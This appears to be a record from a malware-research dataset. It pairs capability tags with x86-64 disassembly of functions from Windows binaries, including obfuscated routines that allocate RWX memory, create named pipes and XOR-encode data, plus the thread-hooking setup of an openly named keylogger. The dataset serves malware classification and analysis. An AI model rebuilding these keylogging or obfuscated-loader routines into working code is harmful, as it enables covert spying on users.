joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000d6b0
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14000d68d
call fcn.14000bd6c
mov dword [rax], 0x16
call fcn.14000bc4c
or eax, 0xffffffff
jmp 0x14000d6aa
sub dword [rcx + 0x10], 1
jns 0x14000d69c
add rsp, 0x28
jmp 0x140010a2c
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14000d66c
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x1400108cc
call fcn.14000bd6c
mov dword [rax], 0x16
call fcn.14000bc4c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400108b4
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x1400108b4
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x1400108fe
lock or dword [rax + 0x14], 0x10
jmp 0x1400108b4
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14001091b
mov rcx, qword [rbp + 0x10]
call fcn.140010a34
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14000d444
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.140011920
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x140010972
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x1400108b4
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x1400109de
mov rcx, qword [rbp + 0x10]
call fcn.14000d444
cmp eax, 0xffffffff
je 0x1400109c5
mov rcx, qword [rbp + 0x10]
call fcn.14000d444
cmp eax, 0xfffffffe
je 0x1400109c5
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14000d444
movsxd rdi, eax
lea rsi, [0x14005b4a0]
mov rcx, rbx
sar rdi, 6
call fcn.14000d444
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x1400109cc
lea rax, [0x14005a8b0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400109de
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x140010a14
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140010a10
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140010a10
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x1400108b7
jmp 0x140010884
Function at 0x140015df4
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x40
mov edi, edx
lea esi, [r9 + 0x56e]
mov rbx, rcx
lea eax, [r8 + 0x4ed]
mov ecx, dword [rsp + 0x78]
lea r14d, [r8 + 0xd42]
add edx, 0xffffef76
add ecx, 0xffffeb0f
lea r9d, [rdi - 0x5ff]
xor edi, 0x1e18
cmp ecx, eax
jge 0x140015f87
lea eax, [rsi - 0x352]
cmp ecx, eax
mov rax, qword [section..data]
jg 0x140015ed7
mov ecx, dword [rax + 0x68]
xor ecx, dword [rbx + 0x88]
mov r8d, dword [rbx + 0x150]
xor ecx, 0x146043
sub dword [rbx + 0x18], ecx
xor ecx, ecx
mov rax, qword [section..data]
lea r9d, [rcx + 0x40]
mov eax, dword [rax + 4]
xor eax, 0x3cd41
add eax, dword [rbx + 0x18]
mov dword [rbx + 0x18], eax
xor r8d, dword [0x14003b104]
sub r8d, 0x1c13f0
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [section..data]
add rax, 0x6000
mov qword [0x14003b0f0], rax
mov eax, dword [0x14003b0dc]
cmp dword [rcx + 0x30], eax
jb 0x140015f87
mov eax, dword [rbx + 0x5c]
xor eax, dword [0x14003b164]
mov dword [rbx + 0x74], eax
jmp 0x140015f87
or ecx, 0x1ce6
sub ecx, edi
cmp dword [rax + 0x30], ecx
jbe 0x140015f87
mov eax, dword [rbx + 0x24]
mov r8d, 0x1819
sub eax, dword [0x14003b06c]
or eax, r8d
cmp dword [rbx + 0x154], eax
ja 0x140015f87
mov eax, r14d
or eax, esi
mov dword [rbx + 0x5c], eax
mov eax, edi
mov rcx, qword [section..data]
and eax, 0x17a8
xor eax, dword [rcx + 0x30]
sub dword [rcx + 0x110], eax
lea ecx, [r14 + rsi]
mov rax, qword [section..data]
mov r11d, dword [rbx + 0x120]
mov r10d, dword [rbx + 0x1c]
sub r11d, r8d
xor r10d, r9d
mov dword [rsp + 0x30], r11d
mov r9d, dword [rax + 0x100]
sub r9d, dword [rbx + 0x3c]
add r9d, dword [rbx + 0x11c]
mov r8d, dword [rax + 0x118]
imul r8d, edx
mov edx, dword [rbx + 0xc8]
xor edx, dword [rbx + 0xb4]
mov dword [rsp + 0x28], r10d
and edx, 0x14f1
mov dword [rsp + 0x20], r9d
mov r9, rbx
call fcn.140016620
mov rbx, qword [rsp + 0x50]
lea eax, [rdi + 0x1ab2]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop r14
ret
Function at 0x140016804
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13d, dword [rsp + 0x98]
lea r15d, [rdx - 0x656]
lea eax, [r15 - 0x98]
mov r12d, r8d
mov rbp, rcx
lea esi, [rdx - 0x6ee]
lea r14d, [r13 - 0x7c3]
xor r13d, 0x1819
cmp r8d, eax
je 0x14001686b
mov eax, dword [rcx + 0x54]
sub eax, dword [rcx + 0xc8]
add eax, 0x412c2b01
mov dword [0x14003b03c], eax
jmp 0x1400168e7
mov eax, dword [rcx + 0x30]
and eax, dword [0x14003b058]
xor eax, r15d
cmp r12d, eax
jne 0x1400168e7
mov r10d, dword [rcx + 0xac]
lea eax, [rsi + rsi]
mov r9d, dword [rcx + 0x98]
mov r8d, r14d
movsxd rdi, eax
or r8d, esi
mov rax, qword [section..data]
or r9d, 0x1672
mov qword [rsp + 0x38], rdi
add r8d, esi
imul r10d, r13d
mov ebx, dword [rax + 0x154]
mov edx, dword [rax + 0xac]
mov r11d, dword [rax + 0x24]
and ebx, dword [rcx + 0x24]
sub r11d, esi
and edx, dword [rax + 0x38]
lea eax, [r13 - 0x24bb]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], r11d
movsxd rcx, eax
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [rsi + 0xdc2]
cmp r12d, eax
jg 0x14001697c
mov rdx, qword [section..data]
lea ebx, [rsi - 0x343]
cmp r14d, ebx
jle 0x140016969
lea r8d, [rsi + 0xcc6]
mov ecx, esi
mov dword [rsp + 0x30], r8d
lea eax, [r14 + 0x752]
lea r10d, [r15 + 0xe46]
mov dword [rsp + 0x28], eax
lea r9d, [r15 + 0xd2a]
mov dword [rsp + 0x20], r10d
xor ecx, 0x84f
call fcn.140016d58
mov edx, esi
lea ecx, [r13 + 0xfda]
xor edx, 0xf62
lea r8, [0x14003b010]
mov r9d, ebx
mov dword [rsp + 0x20], edx
mov r12d, eax
call fcn.140018df8
mov r15d, eax
jmp 0x14001697c
mov ecx, dword [rbp + 0x138]
imul ecx, dword [rbp + 0x30]
mov eax, dword [rdx + 0x3c]
imul eax, ecx
mov dword [rdx + 0x3c], eax
mov ecx, 0x150a
xor r15d, ecx
cmp esi, r15d
je 0x1400169c3
lea eax, [rsi + 0x98]
cmp r14d, eax
jg 0x1400169c3
mov r8, qword [section..data]
lea eax, [r13 + 0x1419]
mov r9d, r12d
mov dword [rsp + 0x20], eax
xor r14d, 0x491
lea edx, [r12 + 0x598]
xor r9d, ecx
mov ecx, r14d
call fcn.140019060
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
lea eax, [r13 + 0x14c7]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140016abc
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
push r15
lea r10d, [rdx - 0x114]
mov r11d, ecx
lea esi, [rdx + 0x87c]
xor r11d, 0xbf3
mov edx, dword [rsp + 0x38]
lea ebp, [r8 - 0xa5c]
lea eax, [rcx - 0x2bc4]
lea r14d, [rdx - 0x14c7]
cmp ebp, eax
je 0x140016b5d
cmp esi, edx
jle 0x140016ba4
cmp dword [r9 + 0xcc], 0x15572
ja 0x140016b39
mov edx, dword [r9 + 0xf4]
lea ecx, [rdx + 0x1c43fe]
add ecx, dword [r9 + 0x88]
imul ecx, edx
mov dword [r9 + 0xf4], ecx
mov rdx, qword [section..data]
mov ecx, dword [r9 + 0x114]
cmp ecx, dword [rdx + 0x68]
jae 0x140016b64
mov eax, dword [rdx + 0x38]
xor eax, 0x1c5519
or eax, ecx
mov dword [r9 + 0x114], eax
mov rdx, qword [section..data]
lea eax, [r10 + 0xd0c]
cmp r14d, eax
jg 0x140016c01
mov eax, dword [r9 + 0xc8]
cmp dword [r9 + 0x104], eax
jae 0x140016c39
mov ecx, dword [r9 + 0x13c]
add ecx, 0xfffa26f5
add ecx, dword [r9 + 0x68]
mov dword [rdx + 0x10c], ecx
jmp 0x140016c39
mov r8d, ebp
mov ebx, r10d
and r8d, 0x1744
sub r8d, r10d
cmp r10d, r8d
jle 0x140016b5d
mov edi, dword [0x14003b100]
add edi, dword [0x14003b0e0]
mov rdx, qword [section..data]
cmp r10d, edi
jae 0x140016bf4
mov eax, dword [rdx + 0x40]
mov ecx, edi
sub ecx, r10d
or eax, 0x1e18
dec ecx
imul r15d, eax, 0x1f34
shr ecx, 1
inc ecx
xor r11d, r15d
sub rcx, 1
jne 0x140016beb
add ebx, 2
cmp ebx, r8d
jg 0x140016bcc
jmp 0x140016b64
mov ecx, dword [rdx + 0xf8]
add ecx, esi
jmp 0x140016c34
mov eax, r11d
xor eax, ebp
and eax, 0x12ab
cmp dword [r9 + 0x88], eax
je 0x140016c30
mov eax, dword [r9 + 0x150]
imul eax, dword [r9 + 0x98]
or r11d, eax
add r10d, 4
cmp r10d, ecx
jne 0x140016c0b
mov rbx, qword [rsp + 0x18]
lea eax, [r14 + 0x1f34]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x140017f00
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, dword [rsp + 0x90]
lea r15d, [rdx - 0x196a]
mov rdi, rcx
lea esi, [rdx - 0x4a3]
mov ecx, 0x196a
lea eax, [r15 + 0x14f1]
mov ebx, edx
lea ebp, [r8 - 0xe46]
xor ebx, ecx
lea r13d, [r9 - 0x14f1]
xor r12d, 0xef6
mov r14d, r15d
cmp esi, eax
jg 0x14001800f
mov eax, dword [rdi + 0x54]
add r14d, 0x1744
add eax, dword [rdi + 0x1c]
mov r9d, r14d
xor eax, 0xffef0581
xor r13d, 0x17a8
sub dword [rdi + 0x28], eax
xor esi, 0x407
mov rcx, qword [section..data]
lea eax, [r14 + 0xd5]
mov dword [rsp + 0x28], eax
xor r9d, 0x189e
lea edx, [r13 - 0x64]
mov r8d, esi
mov dword [rsp + 0x20], edx
add ebp, 0x656
mov edx, r14d
call fcn.140016804
mov r12d, eax
lea ecx, [r15 + 0x1d1c]
lea eax, [rbp - 0x499]
mov r10d, r13d
mov dword [rsp + 0x30], eax
mov r9d, ebx
mov r8d, r14d
mov qword [rsp + 0x28], rdi
xor r10d, 0x3b1
lea edx, [r12 - 0x21c]
xor r9d, 0x12ab
mov dword [rsp + 0x20], r10d
xor r8d, 0x7aa
call fcn.140017138
mov esi, eax
add r15d, 0x17a8
jmp 0x14001805d
mov eax, ebx
xor eax, 0x1056
imul eax, dword [rdi + 0x48]
cmp ebx, eax
jne 0x14001805d
mov eax, dword [rdi + 0x114]
and eax, r12d
cmp ebx, eax
jae 0x14001805d
mov edx, dword [0x14003b0dc]
and edx, ebp
mov eax, esi
and edx, ecx
mov ecx, dword [0x14003b048]
or rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, ebp
sub eax, r13d
sub eax, 0x196a
or dword [rdi + 0x138], eax
mov eax, esi
xor eax, ebp
sub dword [rdi + 0x38], eax
mov eax, r13d
xor eax, 0x1da
cmp ebp, eax
jl 0x14001811a
lea eax, [rbx + 0x1f34]
cmp r15d, eax
jg 0x1400180d2
mov eax, dword [0x14003b14c]
lea r8d, [r15 - 0x6e8]
sub eax, dword [rdi + 0x150]
lea r9d, [rsi + 0x1bd]
xor r8d, 0x1d4e
lea edx, [rsi + 0xd2a]
xor eax, 0x19e0
mov dword [rdi + 0x18], eax
lea eax, [r13 - 0x2b7]
mov dword [rsp + 0x28], eax
lea ecx, [r8 + 0x11a6]
xor r8d, 0x254
mov dword [rsp + 0x20], ecx
mov rcx, qword [section..data]
call fcn.140015df4
jmp 0x14001811a
xor r14d, ebp
cmp ebx, r14d
je 0x14001811a
mov rax, qword [section..data]
mov r9, rdi
mov edx, dword [rdi + 0x150]
and edx, dword [rdi + 0x104]
and edx, ebp
mov r8d, dword [rax + 0x11c]
mov eax, esi
imul r8d, dword [rdi + 0x54]
or esi, r12d
xor eax, ebx
sub esi, r15d
xor eax, 0xfda
mov ecx, esi
mov dword [rsp + 0x20], eax
call fcn.140016ec8
mov ebx, eax
lea r11, [rsp + 0x40]
xor ebx, 0xd8e
mov rbp, qword [r11 + 0x38]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140018340
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r8d, dword [rsp + 0x78]
lea r9d, [rdx - 0x7c3]
mov edi, dword [rsp + 0x80]
lea ebp, [rdx - 0x1a7]
mov esi, dword [rsp + 0x70]
mov r14d, r8d
mov r11d, edx
xor r14d, 0xab4
lea ebx, [r8 - 0xcc6]
add edi, 0xffffe7e7
xor r11d, 0x150a
mov r10, rcx
cmp r9d, ebx
jl 0x1400183c1
mov rax, qword [section..data]
lea rcx, [0x14001c7a0]
add r11d, 0x1009
add r9d, 0xede
mov qword [rax + 0x90], rcx
lea eax, [r11 - 0x903]
cmp ebx, eax
je 0x14001850c
xor esi, 0x9b0
xor r15d, r15d
mov rax, qword [r10 + 0x90]
mov r8d, dword [r15 + rax]
add r15, 4
mov eax, dword [r10 + 0x138]
lea ecx, [rax - 0x10]
imul ecx, eax
mov dword [r10 + 0x138], ecx
mov rax, qword [section..data]
imul r8d, dword [rax + 0x34]
mov eax, dword [rax + 0xb4]
xor dword [r10 + 0x54], eax
movsxd rcx, dword [r10 + 0x74]
mov rax, qword [r10 + 0xd8]
mov edx, r8d
shr edx, 0x18
mov byte [rcx + rax], dl
mov edx, r8d
inc dword [r10 + 0x74]
mov eax, dword [r10 + 0xd0]
sub eax, 0x1218e
shr edx, 0x10
or dword [r10 + 0x70], eax
movsxd rcx, dword [r10 + 0x74]
mov rax, qword [0x14003b0e8]
mov byte [rcx + rax], dl
mov edx, r8d
inc dword [r10 + 0x74]
mov eax, dword [0x14003b148]
mov rcx, qword [section..data]
xor eax, 0x11
shr edx, 8
sub dword [rcx + 0x30], eax
mov eax, 0xa
sub eax, dword [r10 + 0x110]
sub eax, dword [r10 + 0x104]
add dword [0x14003b0dc], eax
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x74]
mov rax, qword [rax + 0xd8]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
inc dword [rax + 0x74]
movsxd rcx, dword [r10 + 0x74]
mov rax, qword [0x14003b0e8]
mov byte [rcx + rax], r8b
inc dword [r10 + 0x74]
mov eax, dword [0x14003b104]
mov ecx, dword [r10 + 0xd0]
add eax, 0xfffede72
add ecx, eax
mov dword [0x14003b104], ecx
cmp r15, 0x81e4
jl 0x1400183d9
mov eax, dword [r10 + 0xc8]
cmp dword [r10 + 0x1c], eax
jbe 0x1400184f4
mov dword [r10 + 0x34], 0x97115
jmp 0x14001850c
mov ecx, dword [r10 + 0xcc]
add ecx, 0x14d60
add ecx, dword [r10 + 0xc4]
add dword [r10 + 0x40], ecx
lea eax, [r11 - 0xcc6]
cmp r9d, eax
je 0x140018542
xor edi, 0x14c7
lea r9d, [rsi + 0x11c]
xor ebp, 0xf18
lea edx, [rsi - 0x9ff]
mov r8d, edi
mov dword [rsp + 0x20], ebp
mov rcx, r10
call fcn.140015d94
jmp 0x1400185b3
mov rax, qword [section..data]
mov ecx, dword [rax + 0x48]
xor ecx, dword [r10 + 0x20]
cmp dword [r10 + 0x3c], ecx
jbe 0x1400185b3
mov r9d, dword [0x14003b058]
mov eax, dword [0x14003b0a8]
xor r9d, edi
mov ecx, dword [r10 + 0x110]
add r9d, 0xfda
or ecx, dword [r10 + 0x104]
mov r8d, dword [r10 + 0xfc]
imul ecx, dword [r10 + 0x44]
xor r8d, r11d
imul eax, r14d
mov dword [rsp + 0x28], r9d
mov r9, r10
xor ebx, eax
mov eax, dword [0x14003b070]
mov edx, ebx
or eax, edi
xor edx, edi
mov dword [rsp + 0x20], eax
and edx, dword [0x14003b10c]
call fcn.140002050
mov rbp, qword [rsp + 0x58]
lea eax, [rbx + 0xc90]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x140002e20
Capabilities:
Create thread
Set console window title

Disassembly:
sub rsp, 0x38
lea rcx, str.Keylogger
call qword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
lea rcx, str.Keylogger_v2.3_by_Ivan_Sincek._n
call fcn.140001050
lea rcx, str.GitHub_repository_at_github.com_ivan_sincek_keylogger._n
call fcn.140001050
call fcn.140001330
test al, al
je 0x140002ee1
mov qword [rsp + 0x30], rbx
call fcn.1400017a0
lea rax, [0x14000a938]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea r8, [0x140002cb0]
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140002ea8
lea rcx, str.Cannot_create_a_new_hook_thread_n
call fcn.140001050
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x38
ret
lea rdx, [0x140002de0]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_signal]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_signal]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x38
ret

Function at 0x140003280
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400032a8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x1400032ce
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x1400032d0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140003329
test ecx, ecx
jle 0x140003309
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140003329
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140003329
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140003350
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140003372
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140003388
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400033a4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400033a6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400033e2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14000347e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14000341d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14000345e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14000347e
cmp rbx, rax
ja 0x140003430
test rbx, rbx
je 0x14000347e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400038a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400038cd
xor eax, eax
jmp 0x140003a2a
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x1400038f8
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x1400038f8
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x140003a2a
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140003a1d
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000393b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140003966
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003a22
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400039d5
sub eax, 1
je 0x1400039d5
cmp eax, 2
jne 0x140003a1d
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003a22
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003a03
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140003a1d
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003a22
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400047e0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140004060
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a010]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140004133
cmp byte [rcx + 0x71], 0
je 0x140004133
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000412f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1400040f4
sub eax, 1
je 0x1400040f8
cmp eax, 2
jne 0x14000412f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400047e0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140004126
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000412f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1400040dc
xor al, al
jmp 0x1400040dc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
